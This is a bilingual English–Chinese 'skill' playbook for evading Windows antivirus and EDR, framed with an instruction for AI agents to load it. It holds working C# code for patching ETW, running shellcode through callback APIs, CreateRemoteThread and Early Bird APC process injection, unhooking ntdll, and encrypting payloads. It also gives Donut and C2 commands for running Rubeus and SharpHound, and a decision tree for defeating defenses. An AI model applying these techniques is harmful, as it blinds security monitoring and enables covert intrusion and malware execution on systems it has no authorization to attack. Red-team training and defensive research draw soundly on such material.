windows-av-evasion

Compare original and translation side by side

🇺🇸

Original

English
🇨🇳

Translation

Chinese

SKILL: AV/EDR Evasion — Expert Attack Playbook

SKILL: AV/EDR 绕过 — 专家攻击指南

AI LOAD INSTRUCTION: Expert AV/EDR evasion techniques for Windows. Covers AMSI bypass, ETW bypass, .NET assembly loading, shellcode execution, process injection, unhooking, payload encryption, and signature evasion. Base models miss detection-specific bypass chains and syscall-level evasion nuances.
AI加载说明: 面向Windows的专业AV/EDR绕过技术,覆盖AMSI绕过、ETW绕过、.NET程序集加载、shellcode执行、进程注入、脱钩、payload加密、特征码绕过。基础模型缺少针对特定检测的绕过链以及系统调用级绕过的细节差异。

0. RELATED ROUTING

0. 相关路径指引

Before going deep, consider loading:
  • windows-privilege-escalation when privesc tools are blocked by AV
  • windows-lateral-movement when lateral movement tools trigger EDR
  • active-directory-kerberos-attacks when Rubeus/Mimikatz are detected
  • active-directory-acl-abuse for non-binary AD attacks (less AV-sensitive)
深入学习前,可按需加载以下内容:
  • 当提权工具被AV拦截时,加载windows-privilege-escalation
  • 当横向移动工具触发EDR告警时,加载windows-lateral-movement
  • 当Rubeus/Mimikatz被检测到时,加载active-directory-kerberos-attacks
  • 如需敏感度更低的非二进制AD攻击,加载active-directory-acl-abuse

Advanced Reference

高级参考

Also load AMSI_BYPASS_TECHNIQUES.md when you need:
  • Detailed AMSI bypass code patterns (memory patching, reflection)
  • PowerShell-specific AMSI bypasses
  • .NET AMSI bypass techniques

当你需要以下内容时,也可加载AMSI_BYPASS_TECHNIQUES.md
  • 详细的AMSI绕过代码模式(内存补丁、反射)
  • PowerShell专属AMSI绕过方案
  • .NET AMSI绕过技术

1. AMSI BYPASS OVERVIEW

1. AMSI绕过概述

AMSI (Antimalware Scan Interface) inspects PowerShell, .NET, VBScript, JScript, and Office macros at runtime.
AMSI(反恶意软件扫描接口)会在运行时检测PowerShell、.NET、VBScript、JScript和Office宏。

Key AMSI Bypass Categories

核心AMSI绕过分类

CategoryMethodDetection RiskPersistence
Memory patchingPatch
AmsiScanBuffer
in
amsi.dll
MediumPer-process
ReflectionModify AMSI init flags via .NET reflectionMediumPer-session
String obfuscationEncode/split AMSI trigger stringsLowPer-payload
PowerShell downgradeForce PS v2 (no AMSI)LowPer-session
CLM bypassEscape Constrained Language ModeMediumPer-session
COM hijackRedirect AMSI COM serverLowPer-user
类别方法检测风险持久性
内存补丁修补
amsi.dll
中的
AmsiScanBuffer
进程级
反射通过.NET反射修改AMSI初始化标志会话级
字符串混淆对触发AMSI的字符串进行编码/拆分payload级
PowerShell降级强制使用PS v2(无AMSI)会话级
CLM绕过逃逸约束语言模式会话级
COM劫持重定向AMSI COM服务器用户级

Quick AMSI Bypass (One-Liners)

快速AMSI绕过(单行命令)

powershell
undefined
powershell
undefined

PowerShell v2 downgrade (if .NET 2.0 available — no AMSI in v2)

PowerShell v2降级(如果可用.NET 2.0 — v2版本无AMSI)

powershell -Version 2
powershell -Version 2

Reflection-based (set amsiInitFailed = true)

基于反射的绕过(设置amsiInitFailed = true)

Obfuscated to avoid static detection — see AMSI_BYPASS_TECHNIQUES.md for full patterns

已做混淆处理避免静态检测 — 完整模式参考AMSI_BYPASS_TECHNIQUES.md


---

---

2. ETW BYPASS

2. ETW绕过

ETW (Event Tracing for Windows) feeds telemetry to EDR. Patching
EtwEventWrite
stops .NET assembly load events.
ETW(Windows事件跟踪)会向EDR上报遥测数据。修补
EtwEventWrite
可以阻断.NET程序集加载事件上报。

Patch EtwEventWrite

修补EtwEventWrite

csharp
// C# — patch EtwEventWrite to return immediately
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// Write: ret (0xC3) to first byte
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);
csharp
// C# — 修补EtwEventWrite使其直接返回
var ntdll = GetModuleHandle("ntdll.dll");
var etwAddr = GetProcAddress(ntdll, "EtwEventWrite");
// 在第一个字节写入ret (0xC3)
VirtualProtect(etwAddr, 1, 0x40, out uint oldProtect);
Marshal.WriteByte(etwAddr, 0xC3);
VirtualProtect(etwAddr, 1, oldProtect, out _);

PowerShell ETW Bypass

PowerShell ETW绕过

powershell
undefined
powershell
undefined

Disable Script Block Logging (ETW provider)

禁用脚本块日志(ETW提供者)

Set internal field to disable ETW tracing

设置内部字段禁用ETW追踪


---

---

3. .NET ASSEMBLY LOADING

3. .NET程序集加载

In-Memory Assembly.Load

内存中Assembly.Load

csharp
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// Or download from URL, decrypt from resource
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });
csharp
byte[] assemblyBytes = File.ReadAllBytes("tool.exe");
// 也可从URL下载、从资源解密获取
Assembly assembly = Assembly.Load(assemblyBytes);
assembly.EntryPoint.Invoke(null, new object[] { args });

Donut — Convert .NET Assembly to Shellcode

Donut — 将.NET程序集转换为Shellcode

bash
undefined
bash
undefined

Generate shellcode from .NET EXE

从.NET EXE生成shellcode

donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main
donut -f tool.exe -o payload.bin -a 2 -c ToolNamespace.Program -m Main

With parameters

带参数的情况

donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"
donut -f Rubeus.exe -o rubeus.bin -a 2 -p "kerberoast /outfile:tgs.txt"

Then load shellcode via any injection technique (§5)

之后通过任意注入技术加载shellcode(见第5节)

undefined
undefined

execute-assembly (C2 Framework)

execute-assembly(C2框架功能)

undefined
undefined

Cobalt Strike

Cobalt Strike

execute-assembly /path/to/Rubeus.exe kerberoast
execute-assembly /path/to/Rubeus.exe kerberoast

Sliver

Sliver

execute-assembly /path/to/SharpHound.exe -c all
execute-assembly /path/to/SharpHound.exe -c all

Havoc

Havoc

dotnet inline-execute /path/to/tool.exe args

---
dotnet inline-execute /path/to/tool.exe args

---

4. SHELLCODE EXECUTION TECHNIQUES

4. Shellcode执行技术

VirtualAlloc + Callback (Avoids CreateThread)

VirtualAlloc + 回调(规避CreateThread)

csharp
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// Use callback API instead of CreateThread (less monitored)
EnumWindows(addr, IntPtr.Zero);
Callback APIs for shellcode execution:
EnumWindows
,
EnumChildWindows
,
EnumFonts
,
EnumDesktops
,
CertEnumSystemStore
,
EnumDateFormats
— all accept function pointers that can point to shellcode.

csharp
IntPtr addr = VirtualAlloc(IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
Marshal.Copy(sc, 0, addr, sc.Length);
// 使用回调API代替CreateThread(被监控的概率更低)
EnumWindows(addr, IntPtr.Zero);
可用于shellcode执行的回调API
EnumWindows
EnumChildWindows
EnumFonts
EnumDesktops
CertEnumSystemStore
EnumDateFormats
— 所有这些API都接受可指向shellcode的函数指针。

5. PROCESS INJECTION TECHNIQUES

5. 进程注入技术

TechniqueAPIs UsedDetection RiskNotes
CreateRemoteThreadOpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThreadHighClassic, heavily monitored
NtMapViewOfSectionNtCreateSection, NtMapViewOfSectionMediumShared memory, less common
Process HollowingCreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThreadMediumReplace process image
Thread HijackingSuspendThread, SetThreadContext, ResumeThreadMediumModify existing thread
Early BirdCreateProcess (SUSPENDED), QueueUserAPC, ResumeThreadLow-MediumAPC before main thread
Phantom DLL HollowingMap DLL section, overwrite with shellcodeLowUses legitimate DLL mapping
Module StompingLoadLibrary, overwrite .text sectionLowBacked by legitimate DLL
Transacted HollowingNtCreateTransaction, NtCreateSectionLowNo suspicious allocations
技术使用的API检测风险备注
CreateRemoteThreadOpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread经典方案,被高度监控
NtMapViewOfSectionNtCreateSection, NtMapViewOfSection共享内存方案,使用较少
进程空心化CreateProcess (SUSPENDED), NtUnmapViewOfSection, WriteProcessMemory, ResumeThread替换进程镜像
线程劫持SuspendThread, SetThreadContext, ResumeThread修改已有线程
Early BirdCreateProcess (SUSPENDED), QueueUserAPC, ResumeThread低-中在主线程启动前注入APC
Phantom DLL空心化映射DLL节,用shellcode覆盖使用合法DLL映射
模块踩踏LoadLibrary, 覆盖.text节由合法DLL背书
事务空心化NtCreateTransaction, NtCreateSection无可疑内存分配

CreateRemoteThread (Basic Pattern)

CreateRemoteThread(基础模板)

csharp
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);
csharp
IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetPid);
IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(hProcess, addr, sc, (uint)sc.Length, out _);
CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);

Early Bird APC Injection

Early Bird APC注入

csharp
// Create suspended process
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, ref pi);

// Allocate and write shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// Queue APC to main thread (runs before main entry point)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);

csharp
// 创建挂起进程
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", ..., CREATE_SUSPENDED, ..., ref si, out pi);

// 分配内存并写入shellcode
IntPtr addr = VirtualAllocEx(pi.hProcess, IntPtr.Zero, (uint)sc.Length, 0x3000, 0x40);
WriteProcessMemory(pi.hProcess, addr, sc, (uint)sc.Length, out _);

// 向主线程队列插入APC(在主入口点前执行)
QueueUserAPC(addr, pi.hThread, IntPtr.Zero);
ResumeThread(pi.hThread);

6. UNHOOKING — BYPASS EDR API HOOKS

6. 脱钩 — 绕过EDR API挂钩

Direct Syscalls (SysWhispers / HellsGate)

直接系统调用(SysWhispers / HellsGate)

EDR hooks
ntdll.dll
functions. Direct syscalls bypass hooks by invoking the kernel directly.
Normal: User code → ntdll.dll (HOOKED) → kernel
Direct: User code → syscall instruction → kernel (bypasses hook)
ToolMethodNotes
SysWhispers2/3Compile-time syscall stubsStatic syscall numbers
HellsGateRuntime syscall number resolutionDynamic, harder to detect
HalosGateResolve from neighboring unhooked syscallsHandles partial hooks
TartarusGateExtended HalosGateMore robust resolution
EDR会挂钩
ntdll.dll
中的函数。直接系统调用通过直接调用内核绕过挂钩。
常规路径: 用户代码 → ntdll.dll (已被挂钩) → 内核
直接调用: 用户代码 → syscall指令 → 内核(绕过挂钩)
工具方法备注
SysWhispers2/3编译时生成系统调用桩静态系统调用号
HellsGate运行时解析系统调用号动态方案,更难检测
HalosGate从相邻未挂钩的系统调用解析可处理部分挂钩场景
TartarusGate扩展版HalosGate更鲁棒的解析能力

Fresh ntdll Copy

全新ntdll副本

csharp
// Read clean ntdll.dll from disk
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// Or from KnownDlls: \KnownDlls\ntdll.dll
// Or from suspended process (create sacrificial process, read its ntdll)

// Overwrite hooked .text section with clean copy
// → All EDR hooks in ntdll are removed
csharp
// 从磁盘读取干净的ntdll.dll
byte[] cleanNtdll = File.ReadAllBytes(@"C:\Windows\System32\ntdll.dll");
// 也可从KnownDlls获取: \KnownDlls\ntdll.dll
// 也可从挂起进程读取(创建牺牲进程,读取其ntdll)

// 用干净副本覆盖已被挂钩的.text节
// → ntdll中所有EDR挂钩都被移除

Indirect Syscalls

间接系统调用

// Instead of: syscall (in your code — suspicious)
// Do: jump to syscall instruction inside ntdll.dll (legitimate location)
// The ret address on stack points to ntdll.dll, not your code

// 替代方案:不要在你的代码中直接执行syscall(易被怀疑)
// 改为跳转到ntdll.dll内部的syscall指令(合法位置)
// 栈上的返回地址指向ntdll.dll,而非你的代码

7. PAYLOAD ENCRYPTION & OBFUSCATION

7. Payload加密与混淆

Encryption Methods

加密方法

csharp
// AES encryption (preferred)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR (simple, fast)
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] ^= key[i % key.Length];

// RC4 (stream cipher, simple implementation)
csharp
// AES加密(首选)
using Aes aes = Aes.Create();
aes.Key = key; aes.IV = iv;
byte[] encrypted = aes.CreateEncryptor().TransformFinalBlock(shellcode, 0, shellcode.Length);

// XOR(简单快速)
for (int i = 0; i < shellcode.Length; i++)
    shellcode[i] ^= key[i % key.Length];

// RC4(流密码,实现简单)

Sleep Obfuscation

休眠混淆

Encrypt shellcode in memory during sleep to avoid memory scanners.
TechniqueMethod
EkkoROP chain → encrypt heap/stack during sleep
FoliageAPC-based sleep with memory encryption
DeathSleepThread de-registration during sleep
休眠时加密内存中的shellcode,规避内存扫描器。
技术方法
EkkoROP链 → 休眠时加密堆/栈
Foliage基于APC的休眠+内存加密
DeathSleep休眠时注销线程

Staged Loading

分段加载

Stage 1: Small, encrypted loader (evades static analysis)
Stage 2: Download actual payload at runtime (encrypted)
Stage 3: Decrypt in memory → execute

第一阶段: 小型加密加载器(规避静态分析)
第二阶段: 运行时下载实际payload(加密状态)
第三阶段: 内存中解密 → 执行

8. SIGNATURE EVASION

8. 特征码绕过

String Encryption

字符串加密

csharp
// Avoid plaintext API names, URLs, tool names
// Use encrypted strings, decrypt at runtime
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);
csharp
// 避免明文存储API名、URL、工具名
// 使用加密字符串,运行时解密
string decrypted = Decrypt(encryptedApiName);
IntPtr funcPtr = GetProcAddress(GetModuleHandle("kernel32.dll"), decrypted);

API Hashing

API哈希

csharp
// Resolve API by hash instead of name (avoids string detection)
// Hash "VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);
csharp
// 通过哈希而非名称解析API(规避字符串检测)
// 哈希"VirtualAlloc" → 0x91AFCA54
IntPtr func = GetProcAddressByHash(module, 0x91AFCA54);

Metadata Removal

元数据移除

bash
undefined
bash
undefined

Strip .NET metadata

剥离.NET元数据

ConfuserEx / .NET Reactor / Obfuscar
ConfuserEx / .NET Reactor / Obfuscar

Remove PE metadata (timestamps, rich header, debug info)

移除PE元数据(时间戳、rich头、调试信息)

Modify compilation timestamps

修改编译时间戳

Strip PDB paths

移除PDB路径

undefined
undefined

C2 Framework Evasion

C2框架绕过能力

FrameworkKey Evasion Features
Cobalt StrikeMalleable C2 profiles, HTTP/S traffic shaping, sleep jitter, PE evasion
SliverMultiple protocols (mTLS, WireGuard, DNS), stager-less, built-in obfuscation
HavocIndirect syscalls, sleep obfuscation, module stomping
Brute RatelBadger agent, syscall evasion, ETW/AMSI bypass built-in

框架核心绕过特性
Cobalt Strike可定制C2配置、HTTP/S流量整形、休眠抖动、PE规避
Sliver多协议支持(mTLS、WireGuard、DNS)、无阶段加载、内置混淆
Havoc间接系统调用、休眠混淆、模块踩踏
Brute RatelBadger agent、系统调用绕过、内置ETW/AMSI绕过

9. AV/EDR EVASION DECISION TREE

9. AV/EDR绕过决策树

Need to execute tool/payload on protected host
├── PowerShell-based payload?
│   ├── AMSI blocking? → AMSI bypass first (§1)
│   │   ├── .NET 2.0 available? → PS v2 downgrade (no AMSI)
│   │   ├── Memory patch AmsiScanBuffer
│   │   └── Reflection-based bypass
│   ├── Script Block Logging? → ETW bypass (§2)
│   └── Constrained Language Mode? → CLM bypass or switch to C#
├── .NET assembly (Rubeus, SharpHound, etc.)?
│   ├── Direct execution blocked?
│   │   ├── In-memory Assembly.Load (§3)
│   │   ├── Convert to shellcode with Donut (§3)
│   │   └── Use C2 execute-assembly (§3)
│   └── Still detected?
│       ├── Obfuscate assembly (ConfuserEx)
│       ├── Modify source + recompile
│       └── Use BOFs (Beacon Object Files) if CS
├── Shellcode execution needed?
│   ├── Basic → VirtualAlloc + callback (§4)
│   ├── Need injection → choose technique by OPSEC (§5)
│   │   ├── Low detection needed → module stomping or phantom DLL
│   │   ├── Medium → early bird APC or NtMapViewOfSection
│   │   └── Quick and dirty → CreateRemoteThread
│   └── Memory scanners detect payload?
│       ├── Encrypt payload → decrypt only at execution (§7)
│       └── Sleep obfuscation (Ekko/Foliage) (§7)
├── EDR hooking ntdll.dll?
│   ├── Direct syscalls (SysWhispers3/HellsGate) (§6)
│   ├── Fresh ntdll copy from disk/KnownDlls (§6)
│   └── Indirect syscalls (return to ntdll instruction) (§6)
├── Signature detection?
│   ├── Known tool signature → modify + recompile
│   ├── String-based → string encryption / API hashing (§8)
│   ├── PE metadata → strip/modify (§8)
│   └── Behavioral → change execution flow, add junk code
└── All local evasion fails?
    ├── Use Living-off-the-Land (LOLBins): certutil, mshta, regsvr32
    ├── Use legitimate admin tools (PsExec, WMI, WinRM)
    └── Switch to fileless / memory-only techniques
需要在受保护主机上执行工具/payload
├── 是基于PowerShell的payload?
│   ├── 被AMSI拦截? → 先执行AMSI绕过(第1节)
│   │   ├── 可用.NET 2.0? → PS v2降级(无AMSI)
│   │   ├── 内存补丁AmsiScanBuffer
│   │   └── 基于反射的绕过
│   ├── 启用了脚本块日志? → ETW绕过(第2节)
│   └── 处于约束语言模式? → CLM绕过或切换到C#
├── 是.NET程序集(Rubeus、SharpHound等)?
│   ├── 直接执行被拦截?
│   │   ├── 内存中Assembly.Load(第3节)
│   │   ├── 用Donut转换为shellcode(第3节)
│   │   └── 使用C2的execute-assembly功能(第3节)
│   └── 仍然被检测?
│       ├── 混淆程序集(ConfuserEx)
│       ├── 修改源码 + 重新编译
│       └── 如果是CS,使用BOFs(Beacon Object Files)
├── 需要执行shellcode?
│   ├── 基础场景 → VirtualAlloc + 回调(第4节)
│   ├── 需要注入 → 根据OPSEC要求选择技术(第5节)
│   │   ├── 需要低检测率 → 模块踩踏或phantom DLL
│   │   ├── 中检测率要求 → early bird APC或NtMapViewOfSection
│   │   └── 快速实现 → CreateRemoteThread
│   └── 内存扫描器检测到payload?
│       ├── 加密payload → 仅在执行前解密(第7节)
│       └── 休眠混淆(Ekko/Foliage)(第7节)
├── EDR挂钩了ntdll.dll?
│   ├── 直接系统调用(SysWhispers3/HellsGate)(第6节)
│   ├── 从磁盘/KnownDlls获取全新ntdll副本(第6节)
│   └── 间接系统调用(跳转到ntdll指令)(第6节)
├── 被特征码检测?
│   ├── 已知工具特征 → 修改 + 重新编译
│   ├── 基于字符串检测 → 字符串加密 / API哈希(第8节)
│   ├── PE元数据问题 → 剥离/修改元数据(第8节)
│   └── 行为检测 → 修改执行流程,添加垃圾代码
└── 所有本地绕过都失败?
    ├── 使用LOLBins:certutil、mshta、regsvr32
    ├── 使用合法管理工具(PsExec、WMI、WinRM)
    └── 切换到无文件/仅内存技术